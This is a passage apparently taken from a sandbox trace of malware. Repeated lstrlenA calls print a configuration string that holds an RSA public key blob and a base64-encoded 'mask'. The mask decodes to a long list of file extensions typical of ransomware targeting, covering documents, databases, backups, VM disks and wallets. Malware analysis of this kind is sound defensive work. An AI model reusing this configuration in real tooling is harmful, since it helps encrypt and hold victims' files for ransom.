LnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwg